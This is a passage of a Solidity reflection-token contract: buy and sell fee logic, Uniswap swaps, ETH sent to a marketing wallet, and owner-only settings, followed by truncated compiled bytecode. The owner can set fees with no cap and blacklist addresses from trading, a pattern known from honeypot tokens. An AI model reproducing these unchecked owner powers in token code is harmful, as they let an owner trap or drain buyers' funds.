if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600e81526020017f556e646973707574656420496e75000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f55494e5500000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d207468